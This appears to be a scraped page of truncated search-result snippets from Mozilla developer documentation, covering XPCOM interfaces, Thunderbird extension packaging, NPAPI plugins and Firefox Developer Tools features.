webm, *.wmv and *.xvid filters for file extensions. Methods appendFilter() Appends a custom file extension filter to the dialog. The filter appended first will be used to display the nsIFilePicker dialog, the user may then select another from the list. void appendFilter( in AString title, in AString filter ); Parameters title The title of the filter. filter The filter string. M...
nsIHttpServer
An example : https://github.com/laurentj/slimerjs/blob/master/src/modules/
webserver.jsm var EXPORTED_SYMBOLS = ["create"]; Components.utils.import("resource://gre/modules/Services.jsm"); function create() { var server = Components.classes["@mozilla.org/server/jshttp;1"] .createInstance(Components.interfaces.nsIHttpServer); return { get objectName () { return "
WebServer"; }, /** * @param integer|string port port or "host:port" * @param object opt optional options. (not supported) * @param function callback optional callback */ listen: function(port, opt, callback) { if (arguments.length == 2 && "function" == typeof opt) { ...
nsIHttpUpgradeListener
netwerk/protocol/http/nsIHttpChannelInternal.idlScriptable The callback interface for nsIHttpChannelInternal.HTTPUpgrade; this is called when an HTTP protocol upgrade is finished. 1.0 66 Introduced Gecko 6.0 Inherits from: nsISupports Last changed in Gecko 6.0 (Firefox 6.0 / Thunderbird 6.0 / SeaMonkey 2.3) This is used, for example, by
WebSockets in order to upgrade an HTTP channel to use the
WebSocket protocol. Method overview void onTransportAvailable(in nsISocketTransport aTransport, in nsIAsyncInputStream aSocketIn, in nsIAsyncOutputStream aSocketOut); Methods onTransportAvailable() Called when an HTTP protocol upgrade attempt is completed, passing in the information needed by the protocol handler to take over the channel that is no longer...
nsIIFrameBoxObject
.9 (Firefox 3) The boxObject belonging to a XUL iframe element implements this interface. Note: Please consider using nsIContainerBoxObject instead. Attributes Attribute Type Description docShell nsIDocShell Read only. Obsolete since Gecko 1.9 The nsIDocShell object that manages the contained document. The general.xml binding uses this property to gain access to the
webNavigation, contentDocument and contentWindow properties. ...
nsIJumpListItem
on class to WinJumpListItem, and add support to addListBuild and removed items processing. Method overview boolean equals(in nsIJumpListItem item); Attributes Attribute Type Description type short Retrieves the jump list item type. Read only. Constants Constant Value Description JUMPLIST_ITEM_EMPTY 0 Empty list item. JUMPLIST_ITEM_SEPARATOR 1 Separator. JUMPLIST_ITEM_LINK 2
Web link item. JUMPLIST_ITEM_SHORTCUT 3 Application shortcut. Methods equals() Compare this item to another. Compares the type and other properties specific to this item's type: separator - type link - type, uri, title shortcut - type, handler application boolean equals( in nsIJumpListItem item ); Parameters item Another nsIJumpListItem to compare to. Return value true if items are the sa...
nsIMicrosummaryGenerator
Whether or not this generator needs page content to generate a microsummary. Microsummaries generated by XSLT templates need page content, while those which represent the actual microsummary do not. Read only. uri nsIURI The canonical location and unique identifier of the generator. It tells us where the generator comes from and where to go for updates. Read only. For generators referenced by
web pages via <link> tags, this URI is the URL specified by the tag. For generators installed via nsISidebar.addMicrosummaryGenerator(), this URI is a URN of the form urn:source:<url>, where <url> is the remote location from which we installed the generator. For generators installed via some other mechanism (for example an extension that dynamically creates generators), this URI is a URN in a form of...
nsINavHistoryQueryOptions
effect on folder links, which are place: URIs returned by nsINavBookmarkService's getFolderURI method. These are always expanded and will appear as bookmark folders. includeHidden boolean Most items in history are marked "hidden." Only toplevel pages that the user sees in the URL bar are not hidden. Hidden things include the content of iframes and all images on
web pages. Normally, you don't want these things. If you do, set this flag and you'll get all items, even hidden ones. Does nothing for bookmark queries. Defaults to false. maxResults long This is the maximum number of results that you want. The query is exeucted, the results are sorted, and then the top maxResults results are taken and returned. Set to "0" (the default) t...
nsINavHistoryResultNode
s, this is the most recent time at which the URI was visited. Even if you ask for all URIs for a given date range long ago, this might contain today's date if the URI was visited today. For hosts, or other node types with children, this is the most recent access time for any of the children. For days, this is midnight on the morning of the day in question in UTC. title AUTF8String Title of the
web page or of the node's grouping (day, host, folder, and so on.). Read only. type unsigned long Identifies the type of node. You can use QueryInterface to access the corresponding specialized result node interface. Read only. uri AUTF8String The URI of the resource represented by the node. For visits and URLs, this is the URL of the page. For folders and queries, this is the place: URI of the c...
nsIParentalControlsService
has parental controls logging enabled. If this is true, applications should log relevant events using log() method. Read only. parentalControlsEnabled boolean true if the current user account has parental controls restrictions enabled. Read only. Constants Constant Value Description ePCLog_URIVisit 1 This log entry type represents an access to
web content. ePCLog_FileDownload 2 This log entry type represents a file download. Methods log() Logs an application specific parental controls event. void log( in short aEntryType, in boolean aFlag, in nsIURI aSource, in nsIFile aTarget Optional ); Parameters aEntryType The type of event to log. See the constants for allowed values. aFlag Pass true if the eve...
nsIPrincipal
Inherits from: nsISerializable Last changed in Gecko 2.0 (Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1) For details on principals, how they work, and how to get the appropriate one, see Security check basics. ...
nsIPromptService
ally disabled. They are enabled after a timeout expires. The implementation may interpret this loosely, as the intent is to ensure that the user does not click through a security dialog too quickly. Strictly speaking, the implementation could choose to ignore this flag. A delay can be useful not only to give the user more time to think before acting, but also as a countermeasure against malicious
web sites that intentionally create a race condition whereby the user intends to click or type a key responding, for example, to the
web site's prompt but the security dialog pops up unexpectedly and its button is unintentionally activated. Constant Value Description BUTTON_DELAY_ENABLE 67108864 Standard Buttons flags Constant Value Description ...
nsIPushService
nsIPushService supports the Push API implementation in Firefox, and can be used directly from privileged code to create system subscriptions. ...
nsISHistory
docshell/shistory/public/nsISHistory.idlScriptable An interface to the primary properties of the Session History component. Inherits from: nsISupports Last changed in Gecko 2.0 (Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1) In an embedded browser environment, the nsI
WebBrowser object creates an instance of session history for each open window. A handle to the session history object can be obtained from nsI
WebNavigation. In a non-embedded situation, the owner of the session history component must create a instance of it and set it in the nsI
WebNavigation object. Implemented by: @mozilla.org/browser/shistory;1. To create an instance, use: var sHistory = Components.classes["@mozilla.org/browser/shistory;1"] .createInstance(Components.interfaces.nsISHistory); Method ...
nsISecurityCheckedComponent
of XPCOM. This includes creating instances of arbitrary XPCOM objects and calling methods and setting properties on them. Code that has the "UniversalBrowserRead" capability is allowed to perform certain actions that allow it to read information from the local system. For example, this capability allows code to set the value of <input type="file"> and access an arbitrary file on disk. Standard
web pages have no special capabilities. Extensions can define their own capabilities and use this interface to only allow access to code trusted with that capability. The two special return values of '"allAccess" or "noAccess" unconditionally allow or deny access to the operation. All code has the "allAccess" capability, and no code has the "noAccess" capability. This interface is used in Mozilla ...
nsISmsDatabaseService
nsISmsDatabaseService dom/sms/interfaces/nsISmsDatabaseService.idlScriptable Used to store and manage SMS text messages for the
WebSMS API 1.0 66 Introduced Gecko 13.0 Inherits from: nsISupports Last changed in Gecko 15.0 (Firefox 15.0 / Thunderbird 15.0 / SeaMonkey 2.12) Implemented by: @mozilla.org/sms/smsdatabaseservice;1. To create an instance, use: var smsService = Components.classes["@mozilla.org/sms/smsdatabaseservice;1"] .createInstance(Components.interfaces.nsISmsDatabaseService); Method overview long saveReceivedMessage(in DOMString aSender, in DOMString aBody, in unsigned long long aDate); long saveSentMessage(in DOMString aReceiver, in DOMString aBody, in unsigned long long aDate); void getMessage(in long messageId, ...
nsISmsRequestManager
nsISmsRequestManager dom/sms/interfaces/nsISmsRequestManager.idlScriptable Used to manage SMS related requests and notifications for the
WebSMS API 1.0 66 Introduced Gecko 13.0 Inherits from: nsISupports Last changed in Gecko 15.0 (Firefox 15.0 / Thunderbird 15.0 / SeaMonkey 2.12) Implemented by: @mozilla.org/sms/smsrequestmanager;1. To create an instance, use: var smsRequestManager = Components.classes["@mozilla.org/sms/smsrequestmanager;1"] .createInstance(Components.interfaces.nsISmsRequestManager); Method overview long addRequest(in nsIDOMMozSmsRequest aRequest); long createRequest(in nsIDOMMozSmsManager aManager, out nsIDOMMozSmsRequest aRequest); void notifyCreateMessageList(in long aRequestId, in long aListId, in n...
nsISmsService
dom/sms/interfaces/nsISmsService.idlScriptable Used to send SMS text messages for the
WebSMS API 1.0 66 Introduced Gecko 13.0 Inherits from: nsISupports Last changed in Gecko 15.0 (Firefox 15.0 / Thunderbird 15.0 / SeaMonkey 2.12) Implemented by: @mozilla.org/sms/smsservice;1. To create an instance, use: var smsService = Components.classes["@mozilla.org/sms/smsservice;1"] .createInstance(Components.interfaces.nsISmsService); Method overview [implicit_jscontext] nsIDOMMozSmsMessage createSmsMessage(in long id, in DOMString delivery, in DOMString sender, in DOMString receiver, in DOMString body, in jsval timestamp, in bool read ); unsigned short getNumberOfMessagesForText(in DOMString text); boolean hasSupp...
nsITextInputProcessorNotification
allback should commit composition synchronously, i.e., nsITextInputProcessor.commitComposition() should be called. If the callback doesn't want to commit the composition synchronously, it's okay to commit it later (i.e., asynchronously). However, Gecko will commit the composition with the last composing string internally. This is typically notified when user clicks somewhere, focus is moved, or
web contents modify the value of the editor during composition. "request-to-cancel" This is required to be handled. When this is requested, the callback should cancel composition synchronously, i.e., nsITextInputProcessor.cancelComposition() should be called. If the callback doesn't want to cancel the composition synchronously, it's okay to cancel it later (i.e., asynchronously). However, Gecko w...
nsITransferable
we try to delete data that you copy to the clipboard when you close a Private Browsing window. To get the appropriate load context in JavaScript callers, one needs to get to the document that the transferable corresponds to, and then get the load context from the document like this: var loadContext = doc.defaultView.QueryInterface(Ci.nsIInterfaceRequestor) .getInterface(Ci.nsI
WebNavigation) .QueryInterface(Ci.nsILoadContext); In C++ callers, if you have the corresponding document, you can just call nsIDocument.GetLoadContext() to get to the load context object. isLargeDataSet() Returns true if the data is large. boolean isLargeDataSet(); Parameters None. Return value true if the data is large; otherwise, the result is false. removeDataFlavor...
nsITransportSecurityInfo
out transport security, including the security state and any error message for the connection. Inherits from: nsISupports Last changed in Gecko 1.9 (Firefox 3) Attributes Attribute Type Description errorMessage wstring Error message on connection failure. Read only. securityState unsigned long A flag detailing the security state of the connection. The possible values are defined in nsI
WebProgressListener. Read only. shortSecurityDescription wstring For secure connections (SSL) gives the common name (CN) of the certifying authority. Read only. See also nsISocketTransport ...
nsIURI
A port value of -1 corresponds to the protocol's default port (for example -1 implies port 80 for HTTP URIs). Exceptions thrown NS_ERROR_FAILURE If port is not applicable to the URI scheme (e.g. about:blank) prePath AUTF8String The prePath returns the string before the path (such as "scheme://user:password@host:port"). This is related to the
Web Origin Concept of RFC6454. This is useful for authentication, managing sessions, or for checking the origin of an URI to prevent cross-site scripting attacks while using methods such as window.postMessage(). Note: Some characters may be escaped. Read only. ref AUTF8String Returns the reference portion (the part after the "#") of the URI. If there is not one, an empty ...
nsIURLFormatter
toolkit/components/urlformatter/public/nsIURLFormatter.idlScriptable This interface exposes methods to substitute variables in URL formats. 1.0 66 Introduced Gecko 1.8 Inherits from: nsISupports Last changed in Gecko 1.8 (Firefox 1.5 / Thunderbird 1.5 / SeaMonkey 1.0) Variable names can contain 'A-Z' letters and '_' characters. Mozilla applications linking to Mozilla
websites are strongly encouraged to use URLs of the following format: http[s]://%SERVICE%.mozilla.[com|org]/%LOCALE%/ Method overview AString formatURL(in AString aFormat); AString formatURLPref(in AString aPref); Methods formatURL() Formats a string URL. The set of known variables is predefined. If a variable is unknown, it is left unchanged and a non-fatal error is reported.
nsIWindowMediator
Changing an nsIDOMWindow to an nsIXULWindow If you need an nsIXULWindow, you should use getXULWindowEnumerator(). However, if you are looking for the most recent nsIXULWindow, it can be helpful to get the corresponding nsIXULWindow from the nsIDOMWindow returned by getMostRecentWindow(). win.QueryInterface(Components.interfaces.nsIInterfaceRequestor) .getInterface(Components.interfaces.nsI
WebNavigation) .QueryInterface(Components.interfaces.nsIDocShellTreeItem).treeOwner .QueryInterface(Components.interfaces.nsIInterfaceRequestor) .getInterface(Components.interfaces.nsIXULWindow) Enumerating windows The following code can be used if you need to do something for each open window of a particular type. For example, you could use it in the "OK" handler of your Options...
nsIWorker
worker and the article Using DOM workers. Method overview void postMessage(in DOMString aMessage, [optional] in nsIWorkerMessagePort aMessagePort); Attributes Attribute Type Description onmessage nsIDOMEventListener An object to receive notifications when messages are received on the worker's message port. Methods postMessage() Used to allow the worker to send a message back to the
web application that created it. void postMessage( in DOMString aMessage, in nsIWorkerMessagePort aMessagePort Optional ); Parameters aMessage The message the worker wishes to post back to its creator. aMessagePort A message port on which to post the message; if not specified, the default message port is used. ...
nsIWorkerFactory
Method overview nsIWorker newChromeWorker(in DOMString aScriptURL); Methods newChromeWorker() Returns a new ChromeWorker that will run a specified script. nsIWorker newChromeWorker( in DOMString aScriptURL ); Parameters aScriptURL The URL of the script to load into the new worker. Return value An nsIWorker object representing the new ChromeWorker. See also Using
web workers Worker SharedWorker ...
nsIWorkerGlobalScope
66 Introduced Gecko 1.9.1 Inherits from: nsISupports Last changed in Gecko 1.9.2 (Firefox 3.6 / Thunderbird 3.1 / Fennec 1.0) Attributes Attribute Type Description location nsIWorkerLocation Read only. navigator nsIWorkerNavigator Read only. onerror nsIDOMEventListener self nsIWorkerGlobalScope Returns the global scope object itself. Read only. See also Using
web workers nsIWorkerMessagePort nsIWorkerMessageEvent nsIWorkerScope nsIAbstractWorker nsIWorker ...
nsIWorkerScope
e. postMessage() Posts a message to the scope's parent worker object. ...
nsIXMLHttpRequest
Obsolete since Gecko 60 (Firefox 60 / Thunderbird 60 / SeaMonkey 2.57)This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. nsIXMLHttpRequest along with nsIJSXMLHttpRequest and nsIXMLHttpRequestEventTarget are Mozilla's implementation details of the DOM XMLHttpRequest object. Note: If you're a
web developer or a Mozilla add-on developer, please refer to the XMLHttpRequest documentation instead. This page contains documentation, specific to Mozilla application and add-on developers. The interface definition: //github.com/RealityRipple/UXP/blob/master/dom/xhr/nsIXMLHttpRequest.idl Elevated Privileges As mentioned in the "Non-Standard Properties" the property of channel was read-only. Whe...
Performance
l be slower. If the user shuts down the browser soon after you do this type of operation, you can delay shutdown (possibly for many tens of seconds for large numbers of transactions and slow disks), making it look like the browser is hung. Queries Careful reordering of the SQL statement, or creating the proper indices, can often improve performance. See the sqlite optimizer overview on the sqlite
web site for information on how sqlite uses indices and executes statements. You might also want to try to the "explain" feature on your statements to see if they are using the indices you expect. Type "explain" followed by your statement to see the plan. For example, explain select * from moz_history; The results are hard to understand, but you should be able to see whether it is using indices. A co...
Storage
QLite database API. It is available to trusted callers, meaning extensions and Firefox components only. The API is currently "unfrozen", which means it is subject to change at any time; in fact, it has changed somewhat with each release of Firefox since it was introduced, and will likely continue to do so for a while. Note: Storage is not the same as the DOM:Storage feature which can be used by
web pages to store persistent data or the Session store API (an XPCOM storage utility for use by extensions). Getting started This document covers the Storage API and some peculiarities of SQLite. It does not cover SQL or "regular" SQLite. You can find some very useful links in the See also section however. For Storage API help, you can post to mozilla.dev.apps.platform on the news server news.mozi...
Frequently Asked Questions
AddRefed that pointer. If it didn't, you should probably report it as a bug. No matter which code pattern you use to solve this problem, you should comment it, e.g., // Warning: this getter doesn't AddRef() its result. If the getter returns the new pointer as its function result, no worries, General Does nsCOMPtr bloat the code? Are nsCOMPtrs fast? Can I use them in tight loops? Bibliography
Web Resources nsCOMPtr.h, and nsCOMPtr.cpp are the source to nsCOMPtr. You can examine the source to nsCOMPtr online using (the wonderful) LXR. Exploring this code is not an adventure for the faint of heart. Some COM Ownership Guidelines. Interface Pointers Considered Harmful by Don Box originally appeared in the September 1995 issue of "The C++ Report". COM Smart Pointers Even More Harmful by ...
XPCOM
rGecko code uses both nsCOMPtr and RefPtr as smart pointers. This guide provides some explanation and advice on how to choose between them.Observer NotificationsThe following are topics that you can observe during the course of an application. Unless otherwise noted you register for the topics using the nsIObserverService.Setting HTTP request headersHTTP is one of the core technologies behind the
Web. In addition to the actual content, some important information is passed with HTTP headers for both HTTP requests and responses.StorageStorage is a SQLite database API. It is available to trusted callers, meaning extensions and Firefox components only.The Thread ManagerThe Thread Manager, introduced in Firefox 3, offers an easy to use mechanism for creating threads and dispatching events to them ...
XSLT 2.0
(handled by Java 1.6v12+ instead of Mozilla-specific code) to connect with the Java-based Saxon-B library, and adds support for having XSLT performed automatically when visiting a page with the appropriate XSLT processing instruction (and which isn't processed by Firefox's own XSLT 1.0 processor). For developers Saxon-CE A JavaScript API is provided for initiating an XSLT 2.0 transform from a
web page. Error and diagnostics output from Saxon-CE can be reviewed in the Firefox developer console or in Firebug. Saxon-B The extension demonstrates how one can use LiveConnect code to communicate with the Saxon-B library, but one might find the JavaScript code module approach used inside the extension XqUSEme as a more reusable approach. The code does not currently work on the Mac (except for ...
Address Book examples
registerPhotoHandler function, as follows: registerPhotoHandler(aType, aPhotoHandler) ...where aType is a string with a unique identifier for that particular photo type. In order for a photo handler to be used for a contact, the PhotoType property of the contact must return a string equal to aType. The address book defaults with three photo handler types, identified by "generic", "file" and "
web". These can be overridden by calling registerPhotoHandler with these identifiers and a custom photo handler. Photo display handlers A photo display handler determines how a contact photo can be extracted from a contact and displayed in an IMG element. This is useful in the contact viewer within the address book. Photo display handlers are registered with the registerPhotoDisplayHandler functio...
nsIMsgCloudFileProvider
e used for representing the service. accountKey ACString Readonly: The unique identifier for the account associated with an instance of an nsIMsgCloudFileProvider. settingsURL ACString Readonly: A chrome URL for an XHTML page displayed in the account setup dialog window, used for displaying and setting provider-specific settings. This URL should not point to external
web content. managementURL ACString Readonly: A chrome URL for an XHTML page displayed within the Filelink preferences dialog, used for displaying and setting provider-specific settings once the account has already been set up. This URL should not point to external
web content. fileUploadSizeLimit long Readonly: The upper size limit in bytes for a file to be uploaded. If...
Filelink Providers
nsIMsgCloudFileProvider Note: Cloudfiles and BigFiles were the two temporary feature names that were used while Filelink was under construction. Both refer to the Filelink feature. Filelink storage providers must implement the nsIMsgCloudFileProvider interface. The Hightail implementation is a great place to look for examples and inspiration. The nsIMsgCloudFileProvider implementation must be registered as a component. ...
LDAP Support
on WorkZipCode postalcode WorkZipCode zip WorkCountry countryname JobTitle title Department ou Department orgunit Department department Department departmentnumber Company o Company company WorkCountry countryname _AimScreenName nscpaimscreenname
WebPage1 workurl
WebPage2 homeurl BirthYear birthyear Custom1 custom1 Custom2 custom2 Custom3 custom3 Custom4 custom4 Notes notes Notes description PreferMailFormat xmozillausehtmlmail LastModifiedDate modifytimestamp Custom LDAP Attributes Thunderbird supports custom LDA...
Building a Thunderbird extension 3: install manifest
</em:targetApplication> </Description> </RDF> The following items (shown in bold) should be customized for your application: <em:id>myfirstext@jen.zed</em:id>: This is the ID of the extension. The first portion is the short name of the extension and must be in lowercase; the last portion is a two-part period-delimited value such as your first and last name or the top-level domain of your
website. While this value is in email address format, it is not an email address. It should, however, be a unique value so that it does not conflict with other extensions. <em:name>My First Extension</em:name>: The extension name is displayed in the Thunderbird add-on Manager. <em:version>1.0</em:version>: This is the version number of your extension. It must be updated each time you release a new...
Theme Packaging
ll.rdf Properties Your install.rdf file must have the following properties. See the install.rdf Reference for more information: em:id em:version em:type em:targetApplication em:name em:internalName Optional install.rdf Properties em:description em:creator em:contributor em:homepageURL em:updateURL Note that if your theme will be made available on the https://addons.mozilla.org
website, it may not include an updateURL. Sample install.rdf File <?xml version="1.0"?> <RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <Description about="urn:mozilla:install-manifest"> <em:id>{18b64b56-d42f-428d-a88c-baa413bc413f}</em:id> <em:version>1.0</em:version> <em:type>4</em:type> <!-- Target Application thi...
Using popup notifications
Popup notifications, also known as "doorhanger notifications", are presented to notify the user of something that's important but may not need immediate attention. These non-modal notifications let the user make decisions when they have a moment to do so, instead of being forced to deal with them at possibly inconvenient times. For example, this popup notification is displayed when a
web site requests geolocation information: This lets the user decide whether or not to share their location when it's convenient to do so, instead of being compelled to do it at once. In addition, notifications can be dismissed and recalled by clicking anywhere outside the notification, then clicking on the notification icon to bring it back again. A popup notification can include a text message, a button ac...
Add to iPhoto
); // Build the path to download to var dest = Components.classes["@mozilla.org/file/directory_service;1"] .getService(Components.interfaces.nsIProperties) .get("TmpD", Components.interfaces.nsIFile); dest.append(fileName); dest.createUnique(dest.NORMAL_FILE_TYPE, 0600); var wbp = Components.classes['@mozilla.org/embedding/browser/ns
WebBrowserPersist;1'] .createInstance(Components.interfaces.nsI
WebBrowserPersist); var ios = Components.classes['@mozilla.org/network/io-service;1'] .getService(Components.interfaces.nsIIOService); var uri = ios.newURI(src, document.characterSet, gBrowser.selectedBrowser.contentDocument.documentURIObject); wbp.persistFlags &= ~Components.interfaces.nsI
WebBrowserPersist.
js-ctypes
see bug 505907. Other work made possible by js-ctypes is JNI, this is elaborated on in the JNI.jsm section and not the js-ctypes section due to the JSM abstracting away all of the js-ctypes. Unlike binary XPCOM components, it allows developers to ship a single binary for use with multiple versions of Firefox. Note: js-ctypes is only available from chrome code; that is, ctypes is not available to
websites, only application and extension code. Documentation If you are brand new to js-ctypes, and have no idea about it, the pages you should read first is - ctypes.open followed by Standard OS Libraries. Using JS-Ctypes ctypes.open Custom Native File Standard OS Libraries Finding window handles ...
Blocking By Domain - Plugins
Blocking List Sites on this list may not use plugins. Third-party Plugin Block List Sites on this list may not use plugins when they are loaded into a third-party iframe in another site. Criteria In order to improve Firefox security and performance, there are two major categories of sites Mozilla may choose to add to plugin domain blocking: Sites commonly embedded in a 3rd-party context
Web sites which are commonly embedded into other sites using iframes can have a large impact on browser security and also cause many sites to show plugin activation prompts. Sites in this category may include advertisers, social media sites, and other utilities. Top sites Many popular sites work properly without plugins, but still prompt users for activation. In order to improve site performance an...
Drawing and Event Handling - Plugins
<< PreviousNext >> This chapter tells how to determine whether a plug-in instance is windowed or windowless, how to draw and redraw plug-ins, and how to handle plug-in events. When it comes to determining the way a plug-in instance appears in a
web page, you (and the
web page author) have many options. The content provider who writes the
web page determines its display mode: whether the plug-in is embedded, or displayed in its own separate page. You determine whether a plug-in is windowed or windowless by the way you define the plug-in itself. A windowed plug-in is drawn into its own native window (or portion of a native window) on a
web page. A windowed plug-in is opaque, hiding the part of the page beneath its display window. This type of plug-in determines when it draws itse...
Initialization and Destruction - Plugins
termines the number of attributes in the arrays specified by the argn and argv parameters. The arguments in the embed element are name-value pairs made up of the attribute name (for example, align) and its value (for example, top). The argn array contains the attribute names; the argv array contains the attribute values. The browser ignores any nonstandard attributes in an embed element, so the
web page author can use the arg parameters to specify private attributes defined for a particular plug-in. For example, the following embed element has the standard attributes src, height, and width and the private attribute loop: <embed src="movie.avi" height="100" width="100" loop="true"> With the embed element in the example, the browser passes the values in argv to the plug-in instance: argc =...
URLs - Plugins
e plug-in instance document is already at the top. Use for breaking out of a deep frame nesting. Be careful when you assign a target. If the target refers to the window or frame containing the instance or one of its parents/ancestors, the instance is destroyed and the plug-in may be unloaded. Here's an example of getting a URL: A plug-in instance draws a button that acts like a link to another
web page. When the user clicks the button, the plug-in calls NPN_GetURL to go to the page. err = NPN_GetURL( instance, "http://www.example.com/", "_blank"); Posting URLs Posting Data to an HTTP Server Uploading Files to an FTP Server Sending Mail The plug-in calls NPN_PostURL to post data from a file or buffer to a URL. This function is the counterpart of NPN_GetURL. NPN_PostURL writes...
Plugins
eful information. Starting with Firefox 56 in September 2017, Firefox for Android will remove all support for plugins (bug 1381916). Tutorials and references The articles below are developer information about the developing for click-to-play, and plugin blocking. Flash Activation: Browser Comparison Each browser activates Flash slightly differently, which can be confusing for users and
web authors. Plugin Blocking By Domain In order to improve security and performance for Firefox users, Firefox maintains a list of sites that are not able to use plugins. Archived Information Legacy documentation about developing NPAPI plugins. ...
DOM Inspector FAQ - Firefox Developer Tools
Inspect Chrome Document Inspect application chrome, including open XUL windows, e.g., the browser window. Inspect a URL This just focuses the DOM Inspector's address bar, which allow you to inspect arbitrary documents which can be accessed via a URL. This causes the document to be loaded in the browser pane. ...
Add-ons - Firefox Developer Tools
Developer tools that are not built into Firefox, but ship as separate add-ons.
WebSocket Monitor Examine the data exchanged in a
WebSocket connection. This add-on is no longer available, as it requires older versions of Firefox. You might give
WebSocket Sniffer a try. It's not as detailed but may help. ...
Debugging service workers - Firefox Developer Tools
action in the Applications panel, you need to successfully register it. Registration is done with a block of code along these lines, using the register() method: if('serviceWorker' in navigator) { navigator.serviceWorker .register('sw.js') .then(function() { console.log('Service Worker Registered'); }); } If you get the path wrong, for example, you'll get an error in the
Web Console giving you a hint as to what's wrong, which depends on what exactly is wrong with the code. If this is not enough to help you figure out the problem, you could also try going to the JavaScript Debugger and stepping through your code to pinpoint exactly where it is going wrong. Debugging your service worker In any case, when the service worker is successfully registered, you'll see infor...
Browser Toolbox - Firefox Developer Tools
The Browser Toolbox's context is the whole browser rather than just single page on a single tab. Note: If you want to debug a specific add-on that is restartless or SDK-based then try the Add-on Debugger. Use the Browser Toolbox for add-ons that are neither. Enabling the Browser Toolbox The Browser Toolbox is not enabled by default. To enable it you need to check the settings "Enable chrome and addon debugging" and "Enable remote debugging". ...
DOM Property Viewer - Firefox Developer Tools
structure, starting from the window object of the current page or the selected iframe. Enabling the DOM Property Viewer The DOM Property Viewer is not enabled by default. To enable it, open the developer tool settings and check the "DOM" box under "Default Firefox Developer Tools". Opening the DOM Property Viewer Once enabled, you can open the DOM Property Viewer by selecting "DOM" from the
Web Developer submenu in the Firefox Menu Panel (or Tools menu if you display the menu bar or are on macOS), or by pressing its Ctrl + Shift + W keyboard shortcut. The Toolbox will appear at the bottom of the browser window, with the DOM Property Viewer activated. It's just called "DOM" in the Toolbox. DOM Property Viewer user interface DOM tree The different properties of the DOM are displayed a...
Debug worker threads - Firefox Developer Tools
-- listed in the sources list. You can open the JavaScript file for the worker process and set breakpoints and logpoints just as you can with JavaScript code running on the main thread. Inspecting worker code For example, see the selected item worker.js below -- it is listed in a separate thread in the sources list, but appears in the source pane in the same way as main thread code when selected. Setting breakpoints, etc. ...
Ignore a source - Firefox Developer Tools
We don't care about the internal implementation of these libraries. However, a library's abstraction leaks during debugging sessions when you are forced to step through its stack frames in order to reach your own code. However, you can tell the debugger to ignore the details of selected sources. You can enable or disable ignoring a source file in a couple of ways: In the source list pane, right-click the filename and choose Ignore source (or Unignore source). If the source file is displayed in the source pane, click the "eye" icon at the bottom. ...
Open the debugger - Firefox Developer Tools
There are three ways to open the debugger: Select "Debugger" from the
Web Developer submenu in the Firefox Menu (or Tools menu if you display the menu bar or are on Mac OS X) Press Ctrl + Shift + Z on Windows and Linux, or Cmd + Opt + Z on macOS (starting in Firefox 71; prior to Firefox 66, the letter in this shortcut was S). Press the menu button ( ), select "Developer", then "Debugger". ...
Set event listener breakpoints - Firefox Developer Tools
gular breakpoints at the entry point of the listener to achieve the same effect. If however you have multiple elements, all of which have event listeners attached that you want to break on, this becomes an enormous time saver. This is also useful when debugging code that you're unfamiliar with, to save time over hunting down your event handler within your code, or when trying to understand why a
web site isn't working as expected in your browser. Use event breakpoints to stop execution at the triggering event for the action that fails, then step through the code or watch the console to see what happens. Logging on events In Firefox 71 onwards, the "Log" checkbox is available in the Event Listener Breakpoints list. Selecting this and then choosing some events to break on will mean that when...
Debugger - Firefox Developer Tools
forces asm.js code to run as normal JavaScript. This is an accessor property with a getter and setter. It is initially false in a freshly created Debugger instance. Setting this flag to true is intended for uses of subsystems of the Debugger API (e.g, Debugger.Source) for purposes other than step debugging a target JavaScript program. allowWasmBinarySource A boolean value indicating whether
WebAssembly sources will be available in binary form. The
WebAssembly text generation will be disabled. collectCoverageInfo A boolean value indicating whether code coverage should be enabled inside each debuggee of this Debugger instance. Changing this flag value will recompile all JIT code to add or remove code coverage instrumentation. Changing this flag when any frame of the debuggee is curren...
Debugger-API - Firefox Developer Tools
ted, compiled, or optimized. If you have a strong command of the JavaScript language, you should have all the background you need to use Debugger successfully, even if you have never looked into the language's implementation. It is for use by JavaScript code. JavaScript is both the debuggee language and the tool implementation language, so the qualities that make JavaScript effective on the
web can be brought to bear in crafting tools for developers. As is expected of JavaScript APIs, Debugger is a sound interface: using (or even misusing) Debugger should never cause Gecko to crash. Errors throw proper JavaScript exceptions. It is an intra-thread debugging API. Both the debuggee and the code using Debugger to observe it must run in the same thread. Cross-thread, cross-process, and...
Debugger.Object - Firefox Developer Tools
t is returned each time for a given Debugger.Object instance. A typical JavaScript embedding provides "host objects" to expose application-specific functionality to scripts. The hostAnnotations accessor consults the embedding for additional information about the referent that might be of interest to the debugger. The returned object's properties' meanings are up to the embedding. For example, a
web browser might provide host annotations for global objects to distinguish top-level windows, iframes, and internal JavaScript scopes. By convention, host annotation objects have a string-valued "type" property that, taken together with the object's class, indicate what sort of thing the referent is. The host annotation object's other properties provide further details, as appropriate for the typ...
Eyedropper - Firefox Developer Tools
Clicking copies the current color value to the clipboard. Changing a color value in the Rules view Color values appearing in the Inspector's Rules view have color samples next to them: clicking the samp...
Measure a portion of the page - Firefox Developer Tools
This tool is hidden by default. To enable its button: Go to the DevTools Settings. From the Available Toolbox Buttons check the Measure a portion of the page checkbox. You will now see the Measure a portion of the page button at the top right of the Toolbox, in the same place as the Settings/Options button. When you want to use the tool, click this button. Now when you mouse over the viewport, you'll see the mouse has a crosshair cursor with its current coordinates displayed beside it. When you hold the mouse button down and then drag, you'll start to draw a rectangle, with its x, y, and diagonal dimensions displayed. The units are in pixels. ...
Network monitor toolbar - Firefox Developer Tools
was arranged somewhat differently.) It provides: An icon to clear the network request list. A box enabling you to filter requests by URL and by properties. A set of tool icons: Pause (or resume) recording network log Search the log Request Blocking An array of buttons to filter the network request list by type: by the content type of the response XHR requests
WebSocket upgrades and messages (labeled WS) Other requests A checkbox that allows you to disable caching. Throttling menu, to simulate various connection types A menu of other actions: Persist Logs: By default, the Network Monitor is cleared each time you navigate to a new page or reload the current page. When you select Persist Logs, the log is not cleared on page load. Import H...
UI Tour - Firefox Developer Tools
th Firefox Developer Edition version 77, the Compatibility view shows CSS compability issues, if any, for properties applied to the selected element, and for the current page as a whole. It shows icons for the browsers that do support the properties, and notes properties that are experimental or deprecated. Click the name of the property to open the reference article for that property on MDN
